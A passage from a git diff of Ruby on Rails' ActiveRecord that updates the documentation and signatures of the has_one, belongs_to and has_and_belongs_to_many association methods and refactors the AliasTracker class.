+        #
+        #   Setting the <tt>:foreign_key</tt> option prevents automatic detection of the association's
+        #   inverse, so it is generally a good idea to set the <tt>:inverse_of</tt> option as well.
+        # [+:foreign_type+]
         #   Specify the column used to store the associated object's type, if this is a polymorphic
         #   association. By default this is guessed to be the name of the polymorphic association
         #   specified on "as" option with a "_type" suffix. So a class that defines a
         #   <tt>has_one :tag, as: :taggable</tt> association will use "taggable_type" as the
         #   default <tt>:foreign_type</tt>.
-        # [:primary_key]
+        # [+:primary_key+]
         #   Specify the method that returns the primary key used for the association. By default this is +id+.
-        # [:as]
+        # [+:as+]
         #   Specifies a polymorphic interface (See #belongs_to).
-        # [:through]
-        #   Specifies a Join Model through which to perform the query. Options for <tt>:class_name</tt>,
-        #   <tt>:primary_key</tt>, and <tt>:foreign_key</tt> are ignored, as the association uses the
-        #   source reflection. You can only use a <tt>:through</tt> query through a #has_one
-        #   or #belongs_to association on the join model.
-        # [:source]
+        # [+:through+]
+        #   Specifies an association through which to perform the query.
+        #
+        #   The through association must be a +has_one+, <tt>has_one :through</tt>, or non-polymorphic +belongs_to+.
+        #   That is, a non-polymorphic singular association. Options for <tt>:class_name</tt>, <tt>:primary_key</tt>,
+        #   and <tt>:foreign_key</tt> are ignored, as the association uses the source reflection. You can only
+        #   use a <tt>:through</tt> query through a #has_one or #belongs_to association on the join model.
+        #
+        #   If the association on the join model is a #belongs_to, the collection can be modified
+        #   and the records on the <tt>:through</tt> model will be automatically created and removed
+        #   as appropriate. Otherwise, the collection is read-only, so you should manipulate the
+        #   <tt>:through</tt> association directly.
+        #
+        #   If you are going to modify the association (rather than just read from it), then it is
+        #   a good idea to set the <tt>:inverse_of</tt> option on the source association on the
+        #   join model. This allows associated records to be built which will automatically create
+        #   the appropriate join model records when they are saved. See
+        #   {Association Join Models}[rdoc-ref:Associations::ClassMethods@Association+Join+Models]
+        #   and {Setting Inverses}[rdoc-ref:Associations::ClassMethods@Setting+Inverses] for
+        #   more detail.
+        # [+:disable_joins+]
+        #   Specifies whether joins should be skipped for an association. If set to true, two or more queries
+        #   will be generated. Note that in some cases, if order or limit is applied, it will be done in-memory
+        #   due to database limitations. This option is only applicable on <tt>has_one :through</tt> associations as
+        #   +has_one+ alone does not perform a join.
+        # [+:source+]
         #   Specifies the source association name used by #has_one <tt>:through</tt> queries.
         #   Only use it if the name cannot be inferred from the association.
         #   <tt>has_one :favorite, through: :favorites</tt> will look for a
         #   <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.
-        # [:source_type]
+        # [+:source_type+]
         #   Specifies type of the source association used by #has_one <tt>:through</tt> queries where the source
         #   association is a polymorphic #belongs_to.
-        # [:validate]
+        # [+:validate+]
         #   When set to +true+, validates new objects added to association when saving the parent object. +false+ by default.
         #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
-        # [:autosave]
-        #   If true, always save the associated object or destroy it if marked for destruction,
-        #   when saving the parent object. If false, never save or destroy the associated object.
-        #   By default, only save the associated object if it's a new record.
+        # [+:autosave+]
+        #   If +true+, always saves the associated object or destroys it if marked for destruction,
+        #   when saving the parent object.
+        #   If +false+, never save or destroy the associated object.
+        #
+        #   By default, only saves the associated object if it's a new record. Setting this option
+        #   to +true+ also enables validations on the associated object unless explicitly disabled
+        #   with <tt>validate: false</tt>. This is because saving an object with invalid associated
+        #   objects would fail, so any associated objects will go through validation checks.
         #
         #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets
         #   <tt>:autosave</tt> to <tt>true</tt>.
-        # [:inverse_of]
+        # [+:touch+]
+        #   If true, the associated object will be touched (the +updated_at+ / +updated_on+ attributes set to current time)
+        #   when this record is either saved or destroyed. If you specify a symbol, that attribute
+        #   will be updated with the current time in addition to the +updated_at+ / +updated_on+ attribute.
+        #   Please note that no validation will be performed when touching, and only the +after_touch+,
+        #   +after_commit+, and +after_rollback+ callbacks will be executed.
+        # [+:inverse_of+]
         #   Specifies the name of the #belongs_to association on the associated object
-        #   that is the inverse of this #has_one association. Does not work in combination
-        #   with <tt>:through</tt> or <tt>:as</tt> options.
-        #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
-        # [:required]
+        #   that is the inverse of this #has_one association.
+        #   See {Bi-directional associations}[rdoc-ref:Associations::ClassMethods@Bi-directional+associations]
+        #   for more detail.
+        # [+:required+]
         #   When set to +true+, the association will also have its presence validated.
         #   This will validate the association itself, not the id. You can use
         #   +:inverse_of+ to avoid an extra query during validation.
+        # [+:strict_loading+]
+        #   Enforces strict loading every time the associated record is loaded through this association.
+        # [+:ensuring_owner_was+]
+        #   Specifies an instance method to be called on the owner. The method must return true in order for the
+        #   associated records to be deleted in a background job.
+        # [+:query_constraints+]
+        #   Serves as a composite foreign key. Defines the list of columns to be used to query the associated object.
+        #   This is an optional option. By default Rails will attempt to derive the value automatically.
+        #   When the value is set the Array size must match associated model's primary key or +query_constraints+ size.
+        # [+:deprecated+]
+        #   If true, marks the association as deprecated. Usage of deprecated associations is reported.
+        #   Please, check the class documentation above for details.
         #
         # Option examples:
         #   has_one :credit_card, dependent: :destroy  # destroys the associated credit card
         #   has_one :credit_card, dependent: :nullify  # updates the associated records foreign
         #                                                 # key value to NULL rather than destroying it
-        #   has_one :last_comment, -> { order('posted_on') }, class_name: "Comment"
+        #   has_one :last_comment, -> { order('posted_on desc') }, class_name: "Comment"
         #   has_one :project_manager, -> { where(role: 'project_manager') }, class_name: "Person"
         #   has_one :attachment, as: :attachable
         #   has_one :boss, -> { readonly }
         #   has_one :club, through: :membership
+        #   has_one :club, through: :membership, disable_joins: true
         #   has_one :primary_address, -> { where(primary: true) }, through: :addressables, source: :addressable
         #   has_one :credit_card, required: true
-        def has_one(name, scope = nil, options = {})
+        #   has_one :credit_card, strict_loading: true
+        #   has_one :employment_record_book, query_constraints: [:organization_id, :employee_id]
+        def has_one(name, scope = nil, **options)
           reflection = Builder::HasOne.build(self, name, scope, options)
-          Reflection.add_reflection self, name, reflection
+          Reflection.add_reflection(self, name, reflection)
         end
 
-        # Specifies a one-to-one association with another class. This method should only be used
-        # if this class contains the foreign key. If the other class contains the foreign key,
-        # then you should use #has_one instead. See also ActiveRecord::Associations::ClassMethods's overview
-        # on when to use #has_one and when to use #belongs_to.
+        # Specifies a one-to-one association with another class. This method
+        # should only be used if this class contains the foreign key. If the
+        # other class contains the foreign key, then you should use #has_one
+        # instead. See {Is it a belongs_to or has_one
+        # association?}[rdoc-ref:Associations::ClassMethods@Is+it+a+-23belongs_to+or+-23has_one+association-3F]
+        # for more detail on when to use #has_one and when to use #belongs_to.
         #
         # Methods will be added for retrieval and query for a single associated object, for which
         # this object holds an id:
@@ -1539,32 +1643,52 @@ def has_one(name, scope = nil, options = {})
         # +association+ is a placeholder for the symbol passed as the +name+ argument, so
         # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.
         #
-        # [association(force_reload = false)]
+        # [<tt>association</tt>]
         #   Returns the associated object. +nil+ is returned if none is found.
-        # [association=(associate)]
+        # [<tt>association=(associate)</tt>]
         #   Assigns the associate object, extracts the primary key, and sets it as the foreign key.
-        # [build_association(attributes = {})]
+        #   No modification or deletion of existing records takes place.
+        # [<tt>build_association(attributes = {})</tt>]
         #   Returns a new object of the associated type that has been instantiated
         #   with +attributes+ and linked to this object through a foreign key, but has not yet been saved.
-        # [create_association(attributes = {})]
+        # [<tt>create_association(attributes = {})</tt>]
         #   Returns a new object of the associated type that has been instantiated
         #   with +attributes+, linked to this object through a foreign key, and that
         #   has already been saved (if it passed the validation).
-        # [create_association!(attributes = {})]
+        # [<tt>create_association!(attributes = {})</tt>]
         #   Does the same as <tt>create_association</tt>, but raises ActiveRecord::RecordInvalid
         #   if the record is invalid.
+        # [<tt>reload_association</tt>]
+        #   Returns the associated object, forcing a database read.
+        # [<tt>reset_association</tt>]
+        #   Unloads the associated object. The next access will query it from the database.
+        # [<tt>association_changed?</tt>]
+        #   Returns true if a new associate object has been assigned and the next save will update the foreign key.
+        # [<tt>association_previously_changed?</tt>]
+        #   Returns true if the previous save updated the association to reference a new associate object.
+        #
+        # ==== Example
+        #
+        #   class Post < ActiveRecord::Base
+        #     belongs_to :author
+        #   end
         #
-        # === Example
+        # Declaring <tt>belongs_to :author</tt> adds the following methods (and more):
         #
-        # A Post class declares <tt>belongs_to :author</tt>, which will add:
-        # * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
-        # * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
-        # * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
-        # * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
-        # * <tt>Post#create_author!</tt> (similar to <tt>post.author = Author.new; post.author.save!; post.author</tt>)
-        # The declaration can also include an +options+ hash to specialize the behavior of the association.
+        #   post = Post.find(7)
+        #   author = Author.find(19)
         #
-        # === Scopes
+        #   post.author           # similar to Author.find(post.author_id)
+        #   post.author = author  # similar to post.author_id = author.id
+        #   post.build_author     # similar to post.author = Author.new
+        #   post.create_author    # similar to post.author = Author.new; post.author.save; post.author
+        #   post.create_author!   # similar to post.author = Author.new; post.author.save!; post.author
+        #   post.reload_author
+        #   post.reset_author
+        #   post.author_changed?
+        #   post.author_previously_changed?
+        #
+        # ==== Scopes
         #
         # You can pass a second argument +scope+ as a callable (i.e. proc or
         # lambda) to retrieve a specific record or customize the generated query
@@ -1573,54 +1697,72 @@ def has_one(name, scope = nil, options = {})
         # Scope examples:
         #   belongs_to :firm, -> { where(id: 2) }
         #   belongs_to :user, -> { joins(:friends) }
-        #   belongs_to :level, ->(level) { where("game_level > ?", level.current) }
+        #   belongs_to :level, ->(game) { where("game_level > ?", game.current_level) }
+        #
+        # ==== Options
         #
-        # === Options
+        # The declaration can also include an +options+ hash to specialize the behavior of the association.
         #
-        # [:class_name]
+        # [+:class_name+]
         #   Specify the class name of the association. Use it only if that name can't be inferred
         #   from the association name. So <tt>belongs_to :author</tt> will by default be linked to the Author class, but
-        #   if the real class name is Person, you'll have to specify it with this option.
-        # [:foreign_key]
+        #   if the real class name is Person, you'll have to specify it with this option. +:class_name+
+        #   is not supported in polymorphic associations, since in that case the class name of the
+        #   associated record is stored in the type column.
+        # [+:foreign_key+]
         #   Specify the foreign key used for the association. By default this is guessed to be the name
         #   of the association with an "_id" suffix. So a class that defines a <tt>belongs_to :person</tt>
         #   association will use "person_id" as the default <tt>:foreign_key</tt>. Similarly,
         #   <tt>belongs_to :favorite_person, class_name: "Person"</tt> will use a foreign key
         #   of "favorite_person_id".
-        # [:foreign_type]
+        #
+        #   Setting the <tt>:foreign_key</tt> option prevents automatic detection of the association's
+        #   inverse, so it is generally a good idea to set the <tt>:inverse_of</tt> option as well.
+        # [+:foreign_type+]
         #   Specify the column used to store the associated object's type, if this is a polymorphic
         #   association. By default this is guessed to be the name of the association with a "_type"
         #   suffix. So a class that defines a <tt>belongs_to :taggable, polymorphic: true</tt>
         #   association will use "taggable_type" as the default <tt>:foreign_type</tt>.
-        # [:primary_key]
+        # [+:primary_key+]
         #   Specify the method that returns the primary key of associated object used for the association.
-        #   By default this is id.
-        # [:dependent]
+        #   By default this is +id+.
+        # [+:dependent+]
         #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
-        #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method.
+        #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. If set to
+        #   <tt>:destroy_async</tt>, the associated object is scheduled to be destroyed in a background job.
         #   This option should not be specified when #belongs_to is used in conjunction with
         #   a #has_many relationship on another class because of the potential to leave
         #   orphaned records behind.
-        # [:counter_cache]
+        # [+:counter_cache+]
         #   Caches the number of belonging objects on the associate class through the use of CounterCache::ClassMethods#increment_counter
         #   and CounterCache::ClassMethods#decrement_counter. The counter cache is incremented when an object of this
         #   class is created and decremented when it's destroyed. This requires that a column
         #   named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
         #   is used on the associate class (such as a Post class) - that is the migration for
         #   <tt>#{table_name}_count</tt> is created on the associate class (such that <tt>Post.comments_count</tt> will
-        #   return the count cached, see note below). You can also specify a custom counter
+        #   return the count cached). You can also specify a custom counter
         #   cache column by providing a column name instead of a +true+/+false+ value to this
         #   option (e.g., <tt>counter_cache: :my_custom_counter</tt>.)
-        #   Note: Specifying a counter cache will add it to that model's list of readonly attributes
-        #   using +attr_readonly+.
-        # [:polymorphic]
-        #   Specify this association is a polymorphic association by passing +true+.
+        #
+        #   Starting to use counter caches on existing large tables can be troublesome, because the column
+        #   values must be backfilled separately of the column addition (to not lock the table for too long)
+        #   and before the use of +:counter_cache+ (otherwise methods like +size+/+any?+/etc, which use
+        #   counter caches internally, can produce incorrect results). To safely backfill the values while keeping
+        #   counter cache columns updated with the child records creation/removal and to avoid the mentioned methods
+        #   use the possibly incorrect counter cache column values and always get the results from the database,
+        #   use <tt>counter_cache: { active: false }</tt>.
+        #   If you also need to specify a custom column name, use <tt>counter_cache: { active: false, column: :my_custom_counter }</tt>.
+        #
         #   Note: If you've enabled the counter cache, then you may want to add the counter cache attribute
         #   to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>).
-        # [:validate]
+        # [+:polymorphic+]
+        #   Specify this association is a polymorphic association by passing +true+.
+        #   Note: Since polymorphic associations rely on storing class names in the database, make sure to update the class names in the
+        #   <tt>*_type</tt> polymorphic type column of the corresponding rows.
+        # [+:validate+]
         #   When set to +true+, validates new objects added to association when saving the parent object. +false+ by default.
         #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
-        # [:autosave]
+        # [+:autosave+]
         #   If true, always save the associated object or destroy it if marked for destruction, when
         #   saving the parent object.
         #   If false, never save or destroy the associated object.
@@ -1628,25 +1770,41 @@ def has_one(name, scope = nil, options = {})
         #
         #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for
         #   sets <tt>:autosave</tt> to <tt>true</tt>.
-        # [:touch]
-        #   If true, the associated object will be touched (the updated_at/on attributes set to current time)
+        # [+:touch+]
+        #   If true, the associated object will be touched (the +updated_at+ / +updated_on+ attributes set to current time)
         #   when this record is either saved or destroyed. If you specify a symbol, that attribute
-        #   will be updated with the current time in addition to the updated_at/on attribute.
-        #   Please note that with touching no validation is performed and only the +after_touch+,
-        #   +after_commit+ and +after_rollback+ callbacks are executed.
-        # [:inverse_of]
+        #   will be updated with the current time in addition to the +updated_at+ / +updated_on+ attribute.
+        #   Please note that no validation will be performed when touching, and only the +after_touch+,
+        #   +after_commit+, and +after_rollback+ callbacks will be executed.
+        # [+:inverse_of+]
         #   Specifies the name of the #has_one or #has_many association on the associated
-        #   object that is the inverse of this #belongs_to association. Does not work in
-        #   combination with the <tt>:polymorphic</tt> options.
-        #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
-        # [:optional]
+        #   object that is the inverse of this #belongs_to association.
+        #   See {Bi-directional associations}[rdoc-ref:Associations::ClassMethods@Bi-directional+associations]
+        #   for more detail.
+        # [+:optional+]
         #   When set to +true+, the association will not have its presence validated.
-        # [:required]
+        # [+:required+]
         #   When set to +true+, the association will also have its presence validated.
         #   This will validate the association itself, not the id. You can use
         #   +:inverse_of+ to avoid an extra query during validation.
         #   NOTE: <tt>required</tt> is set to <tt>true</tt> by default and is deprecated. If
         #   you don't want to have association presence validated, use <tt>optional: true</tt>.
+        # [+:default+]
+        #   Provide a callable (i.e. proc or lambda) to specify that the association should
+        #   be initialized with a particular record before validation.
+        #   Please note that callable won't be executed if the record exists.
+        # [+:strict_loading+]
+        #   Enforces strict loading every time the associated record is loaded through this association.
+        # [+:ensuring_owner_was+]
+        #   Specifies an instance method to be called on the owner. The method must return true in order for the
+        #   associated records to be deleted in a background job.
+        # [+:query_constraints+]
+        #   Serves as a composite foreign key. Defines the list of columns to be used to query the associated object.
+        #   This is an optional option. By default Rails will attempt to derive the value automatically.
+        #   When the value is set the Array size must match associated model's primary key or +query_constraints+ size.
+        # [+:deprecated+]
+        #   If true, marks the association as deprecated. Usage of deprecated associations is reported.
+        #   Please, check the class documentation above for details.
         #
         # Option examples:
         #   belongs_to :firm, foreign_key: "client_of"
@@ -1660,9 +1818,12 @@ def has_one(name, scope = nil, options = {})
         #   belongs_to :comment, touch: true
         #   belongs_to :company, touch: :employees_last_updated_at
         #   belongs_to :user, optional: true
-        def belongs_to(name, scope = nil, options = {})
+        #   belongs_to :account, default: -> { company.account }
+        #   belongs_to :account, strict_loading: true
+        #   belongs_to :note, query_constraints: [:organization_id, :note_id]
+        def belongs_to(name, scope = nil, **options)
           reflection = Builder::BelongsTo.build(self, name, scope, options)
-          Reflection.add_reflection self, name, reflection
+          Reflection.add_reflection(self, name, reflection)
         end
 
         # Specifies a many-to-many relationship with another class. This associates two classes via an
@@ -1682,7 +1843,7 @@ def belongs_to(name, scope = nil, options = {})
         # The join table should not have a primary key or a model associated with it. You must manually generate the
         # join table with a migration such as this:
         #
-        #   class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration[5.0]
+        #   class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration[8.2]
         #     def change
         #       create_join_table :developers, :projects
         #     end
@@ -1697,67 +1858,80 @@ def belongs_to(name, scope = nil, options = {})
         # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
         # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.
         #
-        # [collection(force_reload = false)]
-        #   Returns an array of all the associated objects.
-        #   An empty array is returned if none are found.
-        # [collection<<(object, ...)]
+        # [<tt>collection</tt>]
+        #   Returns a Relation of all the associated objects.
+        #   An empty Relation is returned if none are found.
+        # [<tt>collection<<(object, ...)</tt>]
         #   Adds one or more objects to the collection by creating associations in the join table
         #   (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
         #   Note that this operation instantly fires update SQL without waiting for the save or update call on the
         #   parent object, unless the parent object is a new record.
-        # [collection.delete(object, ...)]
+        # [<tt>collection.delete(object, ...)</tt>]
         #   Removes one or more objects from the collection by removing their associations from the join table.
         #   This does not destroy the objects.
-        # [collection.destroy(object, ...)]
+        # [<tt>collection.destroy(object, ...)</tt>]
         #   Removes one or more objects from the collection by running destroy on each association in the join table, overriding any dependent option.
         #   This does not destroy the objects.
-        # [collection=objects]
+        # [<tt>collection=objects</tt>]
         #   Replaces the collection's content by deleting and adding objects as appropriate.
-        # [collection_singular_ids]
+        # [<tt>collection_singular_ids</tt>]
         #   Returns an array of the associated objects' ids.
-        # [collection_singular_ids=ids]
+        # [<tt>collection_singular_ids=ids</tt>]
         #   Replace the collection by the objects identified by the primary keys in +ids+.
-        # [collection.clear]
+        # [<tt>collection.clear</tt>]
         #   Removes every object from the collection. This does not destroy the objects.
-        # [collection.empty?]
+        # [<tt>collection.empty?</tt>]
         #   Returns +true+ if there are no associated objects.
-        # [collection.size]
+        # [<tt>collection.size</tt>]
         #   Returns the number of associated objects.
-        # [collection.find(id)]
+        # [<tt>collection.find(id)</tt>]
         #   Finds an associated object responding to the +id+ and that
         #   meets the condition that it has to be associated with this object.
         #   Uses the same rules as ActiveRecord::FinderMethods#find.
-        # [collection.exists?(...)]
+        # [<tt>collection.exists?(...)</tt>]
         #   Checks whether an associated object with the given conditions exists.
         #   Uses the same rules as ActiveRecord::FinderMethods#exists?.
-        # [collection.build(attributes = {})]
+        # [<tt>collection.build(attributes = {})</tt>]
         #   Returns a new object of the collection type that has been instantiated
         #   with +attributes+ and linked to this object through the join table, but has not yet been saved.
-        # [collection.create(attributes = {})]
+        # [<tt>collection.create(attributes = {})</tt>]
         #   Returns a new object of the collection type that has been instantiated
         #   with +attributes+, linked to this object through the join table, and that has already been
         #   saved (if it passed the validation).
+        # [<tt>collection.reload</tt>]
+        #   Returns a Relation of all of the associated objects, forcing a database read.
+        #   An empty Relation is returned if none are found.
+        #
+        # ==== Example
+        #
+        #   class Developer < ActiveRecord::Base
+        #     has_and_belongs_to_many :projects
+        #   end
+        #
+        # Declaring <tt>has_and_belongs_to_many :projects</tt> adds the following methods (and more):
+        #
+        #   developer = Developer.find(11)
+        #   project   = Project.find(9)
+        #
+        #   developer.projects
+        #   developer.projects << project
+        #   developer.projects.delete(project)
+        #   developer.projects.destroy(project)
+        #   developer.projects = [project]
+        #   developer.project_ids
+        #   developer.project_ids = [9]
+        #   developer.projects.clear
+        #   developer.projects.empty?
+        #   developer.projects.size
+        #   developer.projects.find(9)
+        #   developer.projects.exists?(9)
+        #   developer.projects.build  # similar to Project.new(developer_id: 11)
+        #   developer.projects.create # similar to Project.create(developer_id: 11)
+        #   developer.projects.reload
         #
-        # === Example
-        #
-        # A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
-        # * <tt>Developer#projects</tt>
-        # * <tt>Developer#projects<<</tt>
-        # * <tt>Developer#projects.delete</tt>
-        # * <tt>Developer#projects.destroy</tt>
-        # * <tt>Developer#projects=</tt>
-        # * <tt>Developer#project_ids</tt>
-        # * <tt>Developer#project_ids=</tt>
-        # * <tt>Developer#projects.clear</tt>
-        # * <tt>Developer#projects.empty?</tt>
-        # * <tt>Developer#projects.size</tt>
-        # * <tt>Developer#projects.find(id)</tt>
-        # * <tt>Developer#projects.exists?(...)</tt>
-        # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("developer_id" => id)</tt>)
-        # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("developer_id" => id); c.save; c</tt>)
         # The declaration may include an +options+ hash to specialize the behavior of the association.
         #
-        # === Scopes
+        # ==== Scopes
         #
         # You can pass a second argument +scope+ as a callable (i.e. proc or
         # lambda) to retrieve a specific set of records or customize the generated
@@ -1765,15 +1939,15 @@ def belongs_to(name, scope = nil, options = {})
         #
         # Scope examples:
         #   has_and_belongs_to_many :projects, -> { includes(:milestones, :manager) }
-        #   has_and_belongs_to_many :categories, ->(category) {
-        #     where("default_category = ?", category.name)
+        #   has_and_belongs_to_many :categories, ->(post) {
+        #     where("default_category = ?", post.default_category)
         #   }
         #
-        # === Extensions
+        # ==== Extensions
         #
         # The +extension+ argument allows you to pass a block into a
         # has_and_belongs_to_many association. This is useful for adding new
-        # finders, creators and other factory-type methods to be used as part of
+        # finders, creators, and other factory-type methods to be used as part of
         # the association.
         #
         # Extension examples:
@@ -1784,30 +1958,33 @@ def belongs_to(name, scope = nil, options = {})
         #     end
         #   end
         #
-        # === Options
+        # ==== Options
         #
-        # [:class_name]
+        # [+:class_name+]
         #   Specify the class name of the association. Use it only if that name can't be inferred
         #   from the association name. So <tt>has_and_belongs_to_many :projects</tt> will by default be linked to the
         #   Project class, but if the real class name is SuperProject, you'll have to specify it with this option.
-        # [:join_table]
+        # [+:join_table+]
         #   Specify the name of the join table if the default based on lexical order isn't what you want.
         #   <b>WARNING:</b> If you're overwriting the table name of either class, the +table_name+ method
         #   MUST be declared underneath any #has_and_belongs_to_many declaration in order to work.
-        # [:foreign_key]
+        # [+:foreign_key+]
         #   Specify the foreign key used for the association. By default this is guessed to be the name
         #   of this class in lower-case and "_id" suffixed. So a Person class that makes
         #   a #has_and_belongs_to_many association to Project will use "person_id" as the
         #   default <tt>:foreign_key</tt>.
-        # [:association_foreign_key]
+        #
+        #   Setting the <tt>:foreign_key</tt> option prevents automatic detection of the association's
+        #   inverse, so it is generally a good idea to set the <tt>:inverse_of</tt> option as well.
+        # [+:association_foreign_key+]
         #   Specify the foreign key used for the association on the receiving side of the association.
         #   By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed.
         #   So if a Person class makes a #has_and_belongs_to_many association to Project,
         #   the association will use "project_id" as the default <tt>:association_foreign_key</tt>.
-        # [:validate]
+        # [+:validate+]
         #   When set to +true+, validates new objects added to association when saving the parent object. +true+ by default.
         #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
-        # [:autosave]
+        # [+:autosave+]
         #   If true, always save the associated objects or destroy them if marked for destruction, when
         #   saving the parent object.
         #   If false, never save or destroy the associated objects.
@@ -1815,6 +1992,11 @@ def belongs_to(name, scope = nil, options = {})
         #
         #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets
         #   <tt>:autosave</tt> to <tt>true</tt>.
+        # [+:strict_loading+]
+        #   Enforces strict loading every time an associated record is loaded through this association.
+        # [+:deprecated+]
+        #   If true, marks the association as deprecated. Usage of deprecated associations is reported.
+        #   Please, check the class documentation above for details.
         #
         # Option examples:
         #   has_and_belongs_to_many :projects
@@ -1822,20 +2004,21 @@ def belongs_to(name, scope = nil, options = {})
         #   has_and_belongs_to_many :nations, class_name: "Country"
         #   has_and_belongs_to_many :categories, join_table: "prods_cats"
         #   has_and_belongs_to_many :categories, -> { readonly }
+        #   has_and_belongs_to_many :categories, strict_loading: true
         def has_and_belongs_to_many(name, scope = nil, **options, &extension)
           habtm_reflection = ActiveRecord::Reflection::HasAndBelongsToManyReflection.new(name, scope, options, self)
 
-          builder = Builder::HasAndBelongsToMany.new name, self, options
+          builder = Builder::HasAndBelongsToMany.new(name, self, options)
 
-          join_model = ActiveSupport::Deprecation.silence { builder.through_model }
+          join_model = builder.through_model
 
-          const_set join_model.name, join_model
-          private_constant join_model.name
+          const_set(join_model.name, join_model)
+          private_constant(join_model.name)
 
-          middle_reflection = builder.middle_reflection join_model
+          middle_reflection = builder.middle_reflection(join_model)
 
-          Builder::HasMany.define_callbacks self, middle_reflection
-          Reflection.add_reflection self, middle_reflection.name, middle_reflection
+          Builder::HasMany.define_callbacks(self, middle_reflection)
+          Reflection.add_reflection(self, middle_reflection.name, middle_reflection)
           middle_reflection.parent_reflection = habtm_reflection
 
           include Module.new {
@@ -1852,12 +2035,12 @@ def destroy_associations
           hm_options[:through] = middle_reflection.name
           hm_options[:source] = join_model.right_reflection.name
 
-          [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name, :extend].each do |k|
-            hm_options[k] = options[k] if options.key? k
+          [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name, :extend, :strict_loading, :deprecated].each do |k|
+            hm_options[k] = options[k] if options.key?(k)
           end
 
-          ActiveSupport::Deprecation.silence { has_many name, scope, hm_options, &extension }
-          _reflections[name.to_s].parent_reflection = habtm_reflection
+          has_many name, scope, **hm_options, &extension
+          _reflections[name].parent_reflection = habtm_reflection
         end
       end
   end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
index 3963008a763c3..bddd795ddf0e7 100644
--- a/activerecord/lib/active_record/associations/alias_tracker.rb
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -1,51 +1,48 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/conversions"
 
 module ActiveRecord
   module Associations
     # Keeps track of table aliases for ActiveRecord::Associations::JoinDependency
     class AliasTracker # :nodoc:
-      attr_reader :aliases
-
-      def self.create(connection, initial_table, type_caster)
-        aliases = Hash.new(0)
-        aliases[initial_table] = 1
-        new connection, aliases, type_caster
-      end
-
-      def self.create_with_joins(connection, initial_table, joins, type_caster)
-        if joins.empty?
-          create(connection, initial_table, type_caster)
-        else
-          aliases = Hash.new { |h, k|
-            h[k] = initial_count_for(connection, k, joins)
-          }
+      def self.create(pool, initial_table, joins, aliases = nil)
+        pool.with_connection do |connection|
+          if joins.empty?
+            aliases ||= Hash.new(0)
+          elsif aliases
+            default_proc = aliases.default_proc || proc { 0 }
+            aliases.default_proc = proc { |h, k|
+              h[k] = initial_count_for(connection, k, joins) + default_proc.call(h, k)
+            }
+          else
+            aliases = Hash.new { |h, k|
+              h[k] = initial_count_for(connection, k, joins)
+            }
+          end
           aliases[initial_table] = 1
-          new connection, aliases, type_caster
+          new(connection.table_alias_length, aliases)
         end
       end
 
       def self.initial_count_for(connection, name, table_joins)
-        # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
-        quoted_name = connection.quote_table_name(name).downcase
+        quoted_name_escaped = nil
+        name_escaped = nil
 
         counts = table_joins.map do |join|
           if join.is_a?(Arel::Nodes::StringJoin)
+            # quoted_name_escaped should be case ignored as some database adapters (Oracle) return quoted name in uppercase
+            quoted_name_escaped ||= Regexp.escape(connection.quote_table_name(name))
+            name_escaped ||= Regexp.escape(name)
+
             # Table names + table aliases
-            join.left.downcase.scan(
-              /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+            join.left.scan(
+              /JOIN(?:\s+\w+)?\s+(?:\S+\s+)?(?:#{quoted_name_escaped}|#{name_escaped})\sON/i
             ).size
-          elsif join.respond_to? :left
-            join.left.table_name == name ? 1 : 0
+          elsif join.is_a?(Arel::Nodes::Join)
+            join.left.name == name ? 1 : 0
           else
-            # this branch is reached by two tests:
-            #
-            # activerecord/test/cases/associations/cascaded_eager_loading_test.rb:37
-            #   with :posts
-            #
-            # activerecord/test/cases/associations/eager_test.rb:1133
-            #   with :comments
-            #
-            0
+            raise ArgumentError, "joins list should be initialized by list of Arel::Nodes::Join"
           end
         end
 
@@ -53,37 +50,42 @@ def self.initial_count_for(connection, name, table_joins)
       end
 
       # table_joins is an array of arel joins which might conflict with the aliases we assign here
-      def initialize(connection, aliases, type_caster)
-        @aliases    = aliases
-        @connection = connection
-        @type_caster = type_caster
+      def initialize(table_alias_length, aliases)
+        @aliases = aliases
+        @table_alias_length = table_alias_length
       end
 
-      def aliased_table_for(table_name, aliased_name)
-        if aliases[table_name].zero?
+      def aliased_table_for(arel_table, table_name = nil)
+        table_name ||= arel_table.name
+
+        if aliases[table_name] == 0
           # If it's zero, we can have our table_name
           aliases[table_name] = 1
-          Arel::Table.new(table_name, type_caster: @type_caster)
+          arel_table = arel_table.alias(table_name) if arel_table.name != table_name
         else
